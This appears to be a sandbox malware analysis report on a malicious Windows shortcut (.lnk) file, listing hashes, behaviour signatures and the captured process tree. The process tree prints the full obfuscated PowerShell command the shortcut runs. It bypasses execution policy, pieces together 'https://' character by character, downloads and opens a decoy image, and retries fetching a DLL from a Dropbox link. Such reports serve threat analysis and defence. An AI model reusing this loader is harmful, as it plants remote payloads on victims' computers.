Overview

overview

8

Static

static

1

87e2b97a05...e5.lnk

windows7-x64

6

87e2b97a05...e5.lnk

windows10-2004-x64

8

Analysis

  • max time kernel
    125s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/09/2024, 16:21

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    87e2b97a05efeef1d4ecf64c0941b0c904971f903bffade8ecca315bd3af1fe5.lnk

  • Size

    33KB

  • MD5

    4988a24cf769f89125297dea94dfce14

  • SHA1

    c798be9bf7c850d5debdaba3827d6379f52d0d18

  • SHA256

    87e2b97a05efeef1d4ecf64c0941b0c904971f903bffade8ecca315bd3af1fe5

  • SHA512

    72c055648ed597d260b7ce2879707c3282693d4810d3270054a3aef70b9ad63cfd6db7cf1629dc845b79bf25b0461d650b971fe999f4765c30e39b1291778fac

  • SSDEEP

    768:HMM1EPEetnkiY7c29nz+HrVepbdlPq83TrHRmogEP19w:11MEKvY7PnzMag8XxUEP1q

Score
8/10
execution

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\87e2b97a05efeef1d4ecf64c0941b0c904971f903bffade8ecca315bd3af1fe5.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3772
    • C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
      "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -NoExit -noprofile -nologo -noninteractive -WindowStyle 2 Get-Helps "a4oUNtjCdUrutjLIkwgZyaweGk0Q6cxkokvdB3OfeqWeazONA67180ssO1pxAcPrIV";Get-Helps "la7yogQYQjpPGJC";Get-Helps "ENhJUwGgAp5vLhO2WM5y4QhxMXgi0vEwRpzRrUUgTIfoxRnp4mba7pwk";Get-Helps "N0BRwme6GvV4iJxuPQ8ApvXSq5uox0BSW4h4qLyJsl2onp5rqrpoIJoHAQC";Get-Helps "kqRO0BVQ4dRbHR7OWyea4Nyv19KzRTgUwhObJTlP8";Get-Helps "S9S1nyS3dRK3th5oVK9kdI9yemAGgrt8OnZllhjNaTufZfnconiCDisBgT5LVVMnXTrrAQB4EzrMEG64oy8XG";Get-Helps "WeEPkrQTSt03l3PCPuM31Lqym1nqg8ZYgfpgwc4l2xYoj5kx";Get-Helps "LG88a9vv8EVX7fY9aT7iE1Rp5TUA91WU1iv";Get-Helps "LYfKwghnY9gfOmCzo3TCF832oO1effsm45R3ImqPtljGguRAQol6mHHTcF3vmC1ePpSpviDktfavmwHXpAvZtMEtK8";Get-Helps "sPlB77YCVygYbEoJ3A9H7JgoxOPHUyf4J3k3asr4Xl3HGA9H09EBNqpTZ2EUU4Rf4d7FGVMrtNBuWT56IpXVdz4M4Edd0XZ1";Get-Helps "msl8oXJutwt5Ms5LXX9sLD7wCIpONH49rPdpwDpy";Get-Helps "GgkEp6rr5SIIYGlinhSOCvPg7vGoYmsGLGIfAwN1r9Zc7O3VMHU65X4v9cL5MQRKl";Get-Helps "KvMqKbnK0OYXBgEljAwZX1DdJX5gm7aUSlV7qXtZztawseTxKsAeicpvpNT09";Get-Helps "HD3t5yX40pzB2Uylh6hrPdtnNX79yfhblXacfEQSQJI5IcePB9Qkl5D0kpWuy22vc5LFCOH7hBAEH";Get-Helps "PDgE5gVhYGYU19zkDULwBr38Udi92MW1dlBF04xGFRbZw7zRqVBxtPBoOke7IpN0fkXj9JjJn2l19T1FGTpVGDa";Get-Helps "wIvWFCCPjBptbMs6kmFfZB8muzc9lggQHARIviynlmtLd";Get-Helps "XIhp63yiYBqf6MmgKDiYqxMdqWZSHZy7puH2wXQjqdY2xswcfhJd1DLAv8Sc32BzTCaCggsdvPhLBieG3lMkZu1l3mbE1ohl3t5";;Get-Helps "CqK3EvyQSEtm0CJyNPGRHxotDOqYigFZz0s9C15eQbWYGSgzVH5j7DSWdbp1x";Get-Helps "MeLSOpq9NZuykehx8BF0CGUrx";Get-Helps "FP7zDg22jvUlzJtB5NdcZUt8a0thqIk9drsCeMZGixlTDuLPYq8iQpNxrXkoaMVnlavxrZ5NE";Get-Helps "WAas6WbTnlRVSNmTEgA";Get-Helps "l33BrjJd6Udb7JW4zO";Get-Helps "YzTrCivJPMtfnVrTFsag180FTgJDL3bYmPAEp2gG14KgbGkUy939hx";Get-Helps "nBKahoE6IgbK3j7flnIYVYflJkxQvkxdImdh6V4iER5RazIVxdOdRJHpj3rd7";Get-Helps "ovqGCFh360wYLpoV51VjnyqucnEbFztfYwEzlPu9ZyVkIxtIh6c";Get-Helps "nObL1rdtpn5dgsw4ixkKmPSs5tzaSuPzIaDpo090vcuis8zCkOxfXXgG1zZUQNlLGQ6ohYT";Get-Helps "m0GrdOD8NupEK0lg6MC4fZhNEqZFfLoYxoGqfKURqjMZhKAdOSKfE0Aaqn0wa8QAMdqv7GivNLVi3IYKO8yxBXUjy";Get-Helps "qrS6fGAgsjxLH30RRlhHQFEer8ZTDV5r8ett";Get-Helps "dRfxVFe46um9yZJp5kDu0bWtGtaLONszaShNMBeyU5";Get-Helps "eKHsVTbXb160GXV5reWrA7w00ONH2R6dzAqVsMXC";Get-Helps "IPHV9NEOxMlrYOMwWXUexElkjIAwgh7nlYVjvDJ6bLJoBujtpfiye5SdNruV5YKbvNawR66RQyf17wF7h6nf5t7iuf9DF";Get-Helps "bT0vHr5oGQyNoWjjFfNlt5CoZZs67Skdt9FNgX1WEPCW7UVnNlmDqwZJ3iiuBlMeDvpfcBzkRRTXptXW9dUjpqzjPwuV5tzg";Get-Helps "qmNPMBS3HaDU3lfPaGaaQW4SRvVEhaUAUetgg9X0WeXMq9W1rH1GfoNBcdnoBFs89ziMMciBjOocXZsXeTSibz2bnk";Get-Helps "aUXyS8O8CI1b2cXFKMnNqbq4brrBFqLyCN6HE4PJmWOf6E";Get-Helps "fuHuRzYtFGn1ftR7TK50Tmc0M9lx9";Get-Helps "IzMPoXu5adPVlPJOyIlTEF";Get-Helps "EXNodmOqLg5K05xQY7o5ibdNw8Q6IMi4rrEQjQoSrx4oh2GDKAUI1KMjzPWqQeAqNxhHEoqzLGRNHUKtd1h";Get-Helps "Gw1zzQgTQfnsFVCxmxbLG2Lyp11Hxha2s83posxCkWsq1SygWuO4Tu0A0RtaSfeEIxSBE8y00WHv7A1IHxSpHzjF5goYH";Get-Helps "w9rOr5O18ZUQ5MJo8ITW3";Get-Helps "HZ6PXSeTsh1bAy08LTYjEeYkfpZh37zVPmJPRugY2d0MLnWaZ84JkguejImCGT64S6N2ZYdoM9q10yOpTMswesvuHVOnbIvTw5D";Get-Helps "I3EMnzi0dChD6XWqQQ7MxwK9dzp";Get-Helps "bsACZfIZqFk3pzX7ps4867j0Khb03Qfn6W6oeJVg";Get-Helps "WarqORGBsd4UoCXVsKrUCOpoxGldq0YNzG0FJbdPQxpvwzXUbdNebKXG0pt5j9dw83dn7G39ys0siQ1mYN";;Get-Helps "ipggrRW6sDzKOadv0sAGfuRk9kLwlQMZXaSyY5Yvce5XTv31v8wGHlyjxz5ItinBRYDP";Get-Helps "xM0tayBO3qJsUD4NezVuyfsRimfuGhiruRhcKhcsvJwTUqqUKRzixUxZwyFyi1R6cVeR2ZDkhY9yxeiud3nvZ41lZtX2O8px";Get-Helps "Z18podx7tw4CL1ZO3arA7rGbNswpAuOBNrm4MUAqyDJJXkfdaYEL4aB";Get-Helps "qLSqypr7QWBl4Z6r23IHF19SgLpwcfBHkG2mKvGmUGMzYqg7xu4mXRsaYQVNxjdSzW3T3bwcywR3mloEpgP3ai6vO2L";Get-Helps "HfUeLxusCqjR8eJh0I6XU59cJ";Get-Helps "Q2i8brNEPF6IbFkgbDOMV";Get-Helps "BEenVqUlZP01QlvNr062U7EPz1yy00EuEvSpv3Wn1cDpcJsfDQTiPVE0B86h3e0RUD03btC1vDTbfHxFZHovZltNbf12gSajow9";Get-Helps "R4G4mXckviatb7KEAxNvVEDyF5QSAIWyJFvMFtXFoNF5HTXHj034DBE";Get-Helps "PmGojiCjTPLBgZg9tuFQOyPAneZbJVbPhkXSUnkZct6oDoKPiDHujEeAgDrBvreanDvVZA23MtsyVqXfAEluaj";Get-Helps "yZNZxyS1hz7QdhwHrDBSa3pwteUqUt9WCMDQyepwhg1XRhFrxQQSogb8lj7Kfixe7TgrjK9GHJ6v";Get-Helps "sdKg5dyglDIuMdJdgbEUY1ngaRZKyy7Fv3wIX7EUjlJ4rus5skQ9oC";;$gst = 'HhNvrgtasssp:sasa//sss';$Final = $gst[1] + $gst[6] + $gst[6] + $gst[11] + $gst[8]+ $gst[12]+ $gst[18]+ $gst[18];$L8=$Final+'imgtr.ee/images/2024/07/21/1ef4dee48b728c9606cf967a09d8a5c2.png';iwr -Uri $L8 -OutFile $env:TEMP\DS_23721111.PNG;Get-Helps "JPvrZwO9rNcq8AMyCLSttavKhIsIWqEKSMnxHcex4q5VEPMe45CXenfIoCExbNdzyd5zg5IQHkiShmmEuws5ftJATXa79";Get-Helps "qE0OmR1NVMDicVJrhSXLtjl";Get-Helps "VdPpt2slVsnr";Get-Helps "L2lpBMiZ9n0vG6TYQg0Nv6hd1IGPSnH53Ledzp6oRyelBZ5DaghXID1ATrS1plcpjQIsin";Get-Helps "eokO1UVRv1zcxFHswhipnecFzYkdrccxehiM";Get-Helps "pVUNRi6IgWVTL9nwhxFlOkbrecGkxKtQjOK";Get-Helps "QV1sFS8W7Sot7N8VAO4j9";Get-Helps "PXluIZM372HOOYHMLjSsWaGdIgnWfxWI6fR91TbfXILj7AwlmzcqckmtEakc4RPP9TOOt";Get-Helps "LOx8A2zg1Aldx";Get-Helps "AQ4es6fi5k6ryC5KyCcNbtCgdXOptUu8d87EZlTy7pQzpqjjJyB0iKojLXA5dV2Yaace11HdG3iA07z1QbBFlS3gU40xMyk";Get-Helps "M8v9iLQ18IQGMVCuxhbnfVf6euQm4KFGbxbzB30euPymZLSThEu2sKGYGClUFEcoVwegL9vK0fb0";Get-Helps "iFyZk9UFgfvJwpkU4w4Y5M9cKuQ7JsEffarHzTsUfhrmrNJXtYWFpeoXky4TFEWjsCblxqqpmE0";Get-Helps "IgKpNYO6mR7P8wDc0tL";;Get-Helps "XkVE1VzD9JNXoewJpRs3cBudmy6G9TNxGTyx1Vy3VcE7jPgVf2";Get-Helps "YLGRoWLBeYAaoaC8w4DsDahGm1Xla5wx";Get-Helps "OkzVy0t6iynN9vpL49UL4dTIEjT8K7ntLr3Y7qD";Get-Helps "xRlWX7dVmflAcFcNMD5tIkXtUpk5d";Get-Helps "BtwHIOwEHGgKVU94ubrgAWTihjHhbVwVVwSszyN6Dll7XI1HYk";Get-Helps "wCdSvTE5BNPA9e2n5QA6dgInWecNFrh83psRZP2EjLgcVRFjyc5sGhqTBRFXLYomGHLqZZAtriAZoso128sMejvGPa";Get-Helps "qiYZzgDM83oyY89ZyFs4GWUNegmSQc4aL0xdnj";Get-Helps "JeT5fQxru9Ge0s59wo";Get-Helps "GQ6y5nC7jZFFFix92bj2RIrAdpLgl31mtBY7wo9wKBGMpZhXocIYc5VA9BOJyR6B2g23Nhv1VhCGl2nJvcvO3V3pC2VeN";Get-Helps "V0LtH8nAoxauCKXW9igxnCRr0FbisT0CZefGWZh";Get-Helps "Bnie92eVQJQarkftdZUYLlJSLY3UoK60heRQSq6WLg5bxEMog";Get-Helps "iS7bM7hbw1nfV1z8gz7TB";Get-Helps "mMVQWjN5rapy2";Get-Helps "fKTNVsfGXM4zxe1XMwgTsCya0TejsehsnRmFQZtBeoFIb0PfGJLhEbDRr4mTLSd19sZnipfyHpZ";Get-Helps "cIFKWEK7TwSzRzjDr4csMWtC2tXA";Get-Helps "ytXQxV0m6roEBSXLQj6qhRhHii2bBglsu7kBWHkET4r1DbuecHAvcm";Get-Helps "lAkNFpcGcEtvaZ";Get-Helps "JXwWNhteBlyz9qb41G9WQdLS761yFfFWmD8OAQZbIoo1r0uDEVBCvi3cvM";Get-Helps "JV5uCeoDcd5Vt6cprS7QM1zIlnPIduzIDObtzX5004XsroG8i0ER3BryHwqVP13ZKz5iSTLy8y5L2FFcVb56vBLM4X";Get-Helps "cdkCa2JdSayEIVAMhQnfdSDYtP5WBCWTIUMnlqBgsvAeJKHGgMKKEwDfoK1F";Get-Helps "aOgnrD3DeKKgaHWuNlsCQSVBWaSAPC6RtUAtIfbA";Get-Helps "sOYKo2zQNlchxiu85RF1oPh0Dk4AivoldwJMlCf7cG";Get-Helps "J1Ry947Sa6uw8HzCOqfkV8nXGHVtUf4IZmMHkfOiCoBZhM0UlKIiaVQW2bKqN0Uoatus2uTfCVD2umLi7EpZ";Get-Helps "Cy4gDEKzUdLfSDLWpxm7D0nA195KR5cB6wArXLh1L";Get-Helps "fv0FGox4mdVgsr7jR57HdyAciXsUvKt";Get-Helps "zMtmMSKudrCdfO64Qk3znuyRCJgue8Of7LaNhrghp2oO2oORnptQRc9xFaILy3oUhsWj8X683VlkrMnubIlk";Get-Helps "hWdl5YXhzZf38gJiq9qR4gP9wSe49mFdeaZhDavaQby2Wlw6Gwru3UUAT9HRZTLuU8HKwae3fwAsBUdvMK8TJ";Get-Helps "riGfpC3vOWfGp8PSbzS6EI6xyziGMcLwSRBew0EPdhjcPA";Get-Helps "QjhE5BEvKVbOvIdbN8vpFwpClwQSX4NN0uwl";;Start-Process $env:TEMP\DS_23721111.PNG;Get-Helps "ijf4bl4cN5PKhXYQOMuzyOKgcnqv0eZbJxXohgbXAENTSqFJWAmT3NlmA1RLxgnR6AC436yrwI7yO53zyqoz3slDqy3fVGDy5";Get-Helps "fou0LrP29GGUGJ9EGgZ";Get-Helps "j3l7HgTXvGty19F9Ap3k8dlIKkQudBKFCU8zrnTGya1OfXL31AV5haT00dmr9vlNJMuDezWtclfKIabYA6vZaRaPqPVH2j6eU";Get-Helps "x2xMoosZ3PAYjD";Get-Helps "beSEYd9au3Yo";Get-Helps "qw5VWmH21anSkQiSLLNLaKTq1RCgU3otm";Get-Helps "lVGudX9kyugnAS8YzL2tnJfXipdje0FuA4nzV";Get-Helps "RjFRaMKIfTPPrZZlvnqEolrHXeWwpTz8h";Get-Helps "eoj3XDPZ8u3v0qv72EILGBiFIzuDpiNXDgv6x5eDvxTLDpicTUb54YpvnZ0Ufn5VJ8hv1oJMzEPa9692QGj3HRcGQGiH1uthdDj7";Get-Helps "mhMRowufV4ixe8fdB0TEdMcZbhe1qpxAwx38C4rLRJ6UD6LQvIuMqHjWLDCV1bESexJpEUGN5fP9uBD2w9z";Get-Helps "dPmXrp8US1vJpNRuTR87zbb8iCiYjSwOgKIrRX1V9aHo5wZ84Ki3i9zkCq2Pi";Get-Helps "SdxSrqor2PgBhhPg3dPxCuqia5qjEOjXMq1ZImlOUhMRXfeFXxsUIB4RCcF2";Get-Helps "QplKd9dOsFEkV2Caz5rEIIT2A3xEM0exemnYzd8YLnyNFnFoOL9cNrAyvtvmUiKB1bfv2M2NpswhcGkcToq76hiKNDzBIXdnEkEO";Get-Helps "p2Ez3Y4jlN00BaHt7hcJ9aztYsOSwHZDFvkTpPqTWtrVy8UWhyt7lKoSR3FOMGLzlqO8nRF";Get-Helps "ziCahyQbLMTkFNBvo1BVMYXkFLd6168XoTtTcht9H6FU7Eo";Get-Helps "cAfpuE6xZ4pxCxA6cIGMPfcDySDUp";Get-Helps "EMJ1G9REG7kRDe5rj9sQAgnqyhzElaILeO7VdVwf";Get-Helps "arneIAomSeyOiEqO1usDruSZf2p2fqQldtQI6YSCuNeb64eAUDWfNJl3NS8UiLLMZDtoUKaSkohKQ9rfAqzu0b96C2P";;$maxAttempts = 5;$attempts = 0;$success = $false;$L7=$Final+'www.dropbox.com/scl/fi/4acz0lrdkt4lo6rpaj5yo/IMG_2971111173.PNG?rlkey=ldgi8wyhhyklj0jl9gpju445y&st=1889snzf&dl=1';while (-not $success -and $attempts -lt $maxAttempts) {try {$attempts++;iwr -Uri $L7 -OutFile $env:USERPROFILE\TLD.dll;$success = $true;} catch {Start-Sleep -Seconds 3;}};Get-Helps "tGdSeBXXCEV";Get-Helps "f0bpE7kuoKqVf9TzV9";Get-Helps "sDGCAbCZefWMxGm6vIdbaUu4mShavPYmuNeMHvjZazXKiv5QLmmvSw";Get-Helps "PJ27yWe6YSIE9yJSjfqGqApIwYTYdTAHWfQqsMyKZZLlCmOuqDngAg4Sf0aDIL2nv";Get-Helps "EFHMmTKbSzFzlaB25EMnvUZzSftSzRrkEB0NDEJI9sPi8AnVleWP74KSm9pJXbpxtfRIhJ8JmkCt";Get-Helps "sNSs4XqbFMm5l6JZA4aDPM7YUkryNTFw6GNQw8C4pQPplSGLOT1CLwZpSxjxZrF9TVUf7";Get-Helps "PU2xRhzqymsOH63arqhnXTGJJuXKwq";Get-Helps "FwAs7Bi5jdr9DJGECKNoSpTr73zaQSgZH9y56TTHA";Get-Helps "yIvFc6Yebxz9";Get-Helps "L5wpUFWnug3DhzbNLXTdxuj8";Get-Helps "H10A24c0GDOCxRB4ZALsGn2fq1bXDL5L7Gm6LJjflc15XfO28YFhQOJTbzeRWF4UvSwIFIV8fOIJ";Get-Helps "z2jqft1aC5WONxK4g9GGrucSbWMdlheVhWA8beueGUXzDfcArbuxVGKq0TSeiYEkptzMSeFFN2xf5UAu";Get-Helps "TAKXk3Mu1kTAJKy9UmfWyhJlRTWJ8z3z";Get-Helps "l1NpSI0kUXuWssqX8LuQoDL0Povc2Lu8O56Wh0edlmptlrcgf6GZb1FkSsWdsYcILcGYKharzJPowZ3KHOzQNDNFZ";Get-Helps "osoglct9qnTFanT2zPfE5Ec161";Get-Helps "piPaiQaYXMc3XwesiE4wIcyW9ESqyDKGPkyUY4K3OgQOobInU4XzDwGXYT0juGwKcznFNygXNRRQagKQtYdOZT";Get-Helps "uWUQS96YIXhf52";Get-Helps "aOiG6Ir4HcdDM7uxaKmw91P0a7eQfuH0MlNSHmWSSeASxaz5jUx7MggxAHtUskIkhtjtf";Get-Helps "Gof2epyEMKh2VIvKdwS7cNyiR1dhxXT52s4p";Get-Helps "bTjT4QTh1GiPXhynAtZBextRmuVRfZuDZ2ce3MoXJYIApO90BVaEJlYww6KQVClIpofPQVs5svpI";Get-Helps "EnqNzxw9XFpJPDV";Get-Helps "hUpmOJSPdvPwwF6Egpzek7xHXDyDDFt7vW9hOlBtL4a67o8TuqZmIouoBpKj1ybD";Get-Helps "LnFVzD5Kntd5KHGvn872cBRCm2Nm4NNm80rO7lJTz2CywsenNNUYz55dP2H49GzyJA";Get-Helps "Xv0yt2gn7Ybcx8wbOxMzsmtkaYCMfvkmIAi3";Get-Helps "iR7KWBo9zihK35hLXGUyBLMgpb8SbNwppTLIdS";Get-Helps "pocvNK5e1vdDEnuljbjUiXEz7JaPI0kgj1Bn1wjvoHZbIQvt2ezvAP9Jg";Get-Helps "zr1CEOFsR61ZThFYaoT6dA62BNl9jFK8tAuGDbvTdh0WoV9G5jm8tKW2w4FVHFLBNQ1ARQ";Get-Helps "GvAgcbHUTq94nWw8JviuvMzS5bTbP4Svi5sLCHUH1F2C8MehgBMwGNYcoaY2jdYrLSOAH354WzGFV8hawhV4gBz";Get-Helps "yKhF22KZDT6pFS1NHTG4UkjpduKA9VZdXooi8px8pme8";Get-Helps "ksjIRZdtM4TU9svsGLeuLrsAaeo";Get-Helps "NjEfqS5tLsTinz8WruiWvmDlaTgaTRipWIKnZdytA7qdFVAaGD6xkUHe3dXCIN0YtTPdsFAe6Gqwd";Get-Helps "xlgJxz7acrr1asAOQH6vPdOsxv797MjRSu9NynH2y6qsiwbmJD0deaCWL";Get-Helps "kNjsSETmXjxh9A5ZbEEHGv7AZyUhOCxkk20PmZVsv0t2sHWHUW7J0u4ZaqvKCYpP4nH";Get-Helps "x6e7bRyxR1SFyNnu0FBm98LXOaoTT6ESM3s5V7523dU5DNhcvLKs9rcqwKG2OJmTzocD";Get-Helps "fwLymM4y7kXWNaiEuexdmBqIlCCcfdhtQ";Get-Helps "zmZAA2XE2AERiFwYPS89qp8k";Get-Helps "mwxcrlJPAUBUAiDCOjQvctZwf";Get-Helps "UkGLwky8LYgEh02wILrp5On5Cu2fVTdF6yTCE44WYmb0bfSMLsDKeX";Get-Helps "md9QVhBvgb3iqF55qgoyy8dBg1OAaj0rddsIfoKXjPakATmEoohRI76nQxahHtIIw10LRaCuue78QN89SLgfmYG1K";Get-Helps "Xc545WErqyHfOHpmLawHARIzF0mR9MPgtOkGmQW64";Get-Helps "KCATrBTilbw7gXZhrE4Us8uCvc8AeY4gk0n4r9ECpOrPUqG07YSyZtuR";Get-Helps "hFvPomt8obZIKbVOM5rNJZLEhUdwE0PoSkTDGxLiSt2sIr22D7F6LDXJvYTx";Get-Helps "qFZQ6H3IXXeWI99vfw88ul1ZlDcaU";Get-Helps "x6ewj3VKLlpUsUNrROMtzPc51kdp02fl4V4h";Get-Helps "XLngOyN6gySsH2AMIMBUvUytgfLVBX1";Get-Helps "NLovM1ApfG2i48hQYn45UH8X6BGmMP8I3ZEglqxeJmTc";Get-Helps "P6AHdNnRyt3pLJm5XNmx5XFSDJksZeI1tPlj1l";Get-Helps "hpwc4Bs9MDeALLsYoMvB9hQp6K9LCd7r1guV5YWMsKQvnT8vXycHo6B3HEShtKsQrELFPu";Get-Helps "jmN8P3VxjQKsloAIoRJzY0G0JY8LJuHCUhipGX7Tpfpn5UIELYA0C4zDKi4MxkdGr";Get-Helps "ooGGsMZmkfJfuqh6gVgpPPjQIXrCunq8B6OFwmaPoEZltPKagBSyuNMpc5doipMV1T";Get-Helps "skm66yG30Dmnlm3hl0iebZYkQdYUDQPRi3bZrpLAMD9Xf4r6N9dqUZyK6EYsnbux7oxeX7S4Q4LGTfOXkrMvyPodjGtF1OwVfHeD";Get-Helps "SisstHcQFQXGKrtgfB7vn";Get-Helps "lnYeKiX7zxTTY6LQRmBafdQYyFO1OiSt8IsYbj";Get-Helps "SDZDq34Ff5SBytNbmwVesjpwzw7cD3pcRqzuUTnL9ax1Xr3WrTwGnhxEgjY4g6YBbcmpkjmHgWD1Ry";Get-Helps "T4WN6dtZqd42nugRl1dszywcCSkLGEOufZp";Get-Helps "GQL4mHMXMluWmaekVwbXgwcv70eewvXIyph7uIz96RkRNvDZxu1ci5Ov79KkSjAWX2yuexVjcYbE4fo9";Get-Helps "XsRJjmfwFLKZv3uHmsQmhixPFGblxC7VRJkyQ8ctFZV";Get-Helps "iCCf8IcVZKwQncA2LB9admFocLHq4qDD3RO1JDAwZD2UNKyojkBNZv2r0kx2o9p1MHSPv2rpfPxsv3VYYC64GmOTQVt980D";Get-Helps "gJqrHYxcyXTFa6Ytqu7";Get-Helps "lTNimSLchB51ijvIuvC08un";Get-Helps "JeuZ1R8ZVxkrKDFjdc9dTuEP2F35zf5xLw3Nunj16u73o";Get-Helps "LkNw8yjEiH559jdhVOwRgVpDEOXSc6Do1fBz3Si2qH21AF5YupTHBeNnlShrldxKn";Get-Helps "Va0Zb8fkcJAoDdmpjPEpyz41IpjAEXWmLh70GuQwT01yvDuFGecz1TiXextU8MG0Dizv";Get-Helps "fOncggddEC7sDKOm6i4oSlXrAXd4pMeITnCtmCOu8x5d5tZGNU9MHV72K1eqnfMVTWTqAOQfu99GvEHgVJCWBDbDfj5Rb";Get-Helps "W2Z6gSNwiAnD0e09KKW2Rjj1UAoofS6";Get-Helps "Xm9oNgXtuQHu1srgGcI9GFJlbmi3f5dTbt2jrTgRSbGv0HKKsyjwPgaiDLBuGezOElfN6pTc2TIrC1g";Get-Helps "mtRdTu2pYE6XD1XEshG1KLOuN663h";Get-Helps "FGu8WeB6O6Wbs1MWbPv8edr";Get-Helps "XNur7vcYRAVzD7tUMlsLiHJrPLq0uCTbI6pty0ULENO6jwjUa0L";Get-Helps "lvKZlF6kAtmSgFtTDKr3ArVKLBDb6ZJmurvyB9nndBXpV54zjUZtpFs3KQHYeedtKKvZE3NUVfI";Get-Helps "hptuXYKGZwGC3f2nIirw17Qrnko0wUmm9LxwSmaf9y4";Get-Helps "Y0UyBMMs7IDLS3GLOjc5eQdsZ4mM8qPjk578dae15a7q6";Get-Helps "igHkHZTuOk4";Get-Helps "hb8zN5kfFHWL2WDBIp6VJu8uIuymWS2zNwrGarTdsclW6TyRuam5V5ESDi6SLz7Tl0flNA10Ble36B69PvtqTUA";Get-Helps "I3XOtF8wJcUzBmAga";Get-Helps "kgjtWqKgnGV5ywV20NGXny7VVw4rq61P4EzO3";Get-Helps "eANOF9K8XHi8j4JNaSeMcgbJQ";Get-Helps "F5ByuoLPnUAxftw7EQBbYZtTjGbQm0hm2bo4h1id9lx7EsFndFgStiWRsyiaPyDddTahaZ6OdybMjHaujz";Get-Helps "sXwYVMyKOdxVQEUWE8QjwTbPz0691OjIJnlbGnkBhKToRzcxS5qJqAuDCLwI9Ruyyo3eLT2XDCgkGXeN";Get-Helps "A0Uf3S2p7BJpnKd2kImf83PIDxSuBZWd7QRtA97JWdTPZE8QMwKlGlJYhTS0he5XvMxx75G6TTmDFWwXNmkscuomj2pHkZqF";Get-Helps "wwIqiqGshc0gWM2LFFE5arYvN35y";Get-Helps "n87qJYckpIeyUvQ7Gk8Jcs8xWR6OSUwmnFU";Get-Helps "YIOswuwo8seVDQcQszewjVlcGUL2i92XjQSv5nX6TXUWKnhE5dNF4HMGHjadTcX2P8azy7ZQ9MfU3";Get-Helps "F5giAly96WDyXm5FKZj9LeCypQzUAia6aAPXJ0w5iFNDIJOgdeJAx";Get-Helps "ypOeqEHKOdFcU7R72J5eFTFbIQO4i3KgdC0TSLL6J1wmb9gwsdKbLq5XCDIfURpjr8UY8beyic2cCBuN";Get-Helps "YxtU8wMtTwOd2F7dFroGI7rRhKCujDOXFd";Get-Helps "jp9kuw6CFv7SEGZObb2jowRGti0mkqdw4ux8kswGX3Hxey49gwhmdF7";Get-Helps "qKnVjcjR7GLRQHi7xWekxc80yoY4xEIaBhxQwP6E2KXICO";Get-Helps "xrTfrIeePk4om5IrFnp6FO24OQjj1YkAK7d7DRZG09fZmSSB7iXJR0070iVZUJb";Get-Helps "Ptawz6POeX77kc1Pgeb1xZGBbombNN7M";Get-Helps "ZGdT1CX4C0bNoD0ZG82tqDmuF7e3F6wTsgLMzjdcd8DS5nQuDo1utRDsurJ53HAt5k5lr55oI3imScSZ";Get-Helps "AyEFbSZFu88GLqseQA1n5wO4tUBtvLm9atN3P2MxXOgDbEtUlB0qccdXHZq";Get-Helps "f2xC9VB6RkNicliKiPvEdQACt28BbxigzwvDWR";Get-Helps "KKmLVWAQt8tokvkiTdEKeVewcFi517hsRr1";Get-Helps "R1upGQ5EochC1tjcZqh9lDSbgBFgw7jaYQKFum0oVgsNjaMCPgh";Get-Helps "eZhvsEHKwjES9404G";Get-Helps "yVXpwMFICXXjQGJ7xI3TKg5rYvCLEZYsEaq5WDGiWj";Get-Helps "I9ey0eTW4lUJkEPQBSIRUEoYxvK";Get-Helps "uaJIThtCTLmxdvA4pAnR3fEUSwlTEPn0YfzhfP6VRVVsb5Lfnw99x8ZkcNT8LbIGebrBuYVyO4";Get-Helps "i6GxufTFa2qHhqlBDQ9k0fz6E1pJsaONXELXw8FFc41ulkvVj5DlEr4q7p109ozu2ihgW7CPCgd";Get-Helps "CKa7BCu34LoKEeQio0x9luTTreNXS0ykbLd";Get-Helps "gvgG1dJi5gZxpQNoqIR491XJKms1hBnbg7Hm9ez45g9vNWPGOJCtuO7Ld6E48ZfO6Nc";Get-Helps "DY4uCM0yaoU97x5E95w6GUliDwSxOQ8aV2wvPvkyjBbp0EEVpw2O4JF00lmg33fXh7ntVF7iXPWwS";Get-Helps "VzHLJIvL0n3CFfKYqkBNYmfnQuibABsHTzLifWbDRfXlwSKcKVsqYcbMjJ0jVbgyKmozY1AEHMwdXujgBW0Z9vn4";Get-Helps "ZbOKA5rLHZmcVmEQT8yTUsNStnUe63zTvfUI6cSsotrpTzh13BGFANgG1OSjGrozjajBEzgRwsq4Ji3fJ69lgpv5QtPwULOpz";Get-Helps "L2Xr54FHwV2nqTcm8GI2gWAQPqLNIIoLQIsV4c2dRwIc6R5bfUt13HrQOHMyQ7z";Get-Helps "JlmBoeVKF0wuhpNQ9Dr8ew3D5CtLTPWSIwqO7psLmnEFZUUzb7CxhXLSFIIOSwin5Xbnjfa3Xb4AfYQqM3wO0yH41Z";Get-Helps "Gg5HXX3Xle0119IgUCKeUhDPktilQMW5RCX8OBM2nlGXwgQkjf2qi8q";Get-Helps "oejc3X3xtU1Pww5Yakg7XOU0vPRZhDV6N1neYYW7rdi7PwciFl";Get-Helps "QR6GPXx8rYXsdXxQRKhSF67bzEfaARk9zsHBGqQnkJiVoPs3q2t";Get-Helps "itx1AArx0n3ABBk9Di9Z9ImFOGpFRarHZhAcIWecJZyRbi";Get-Helps "ZEPvM7nuSZHQkVhKemA7V6jqexTavyIal";Get-Helps "ya8i4ikfhZS4xA7deY5fED0XPTs7BRflDF7EThiuZg7r";Get-Helps "srr4p35RGvFf0CleiVwEh1Kw93swoRba1es7iIVdnzdvNQ1kNobUDuKWkbJ6W";Get-Helps "PYRF8fJXLIB1bsYNwtvX7UhNk";Get-Helps 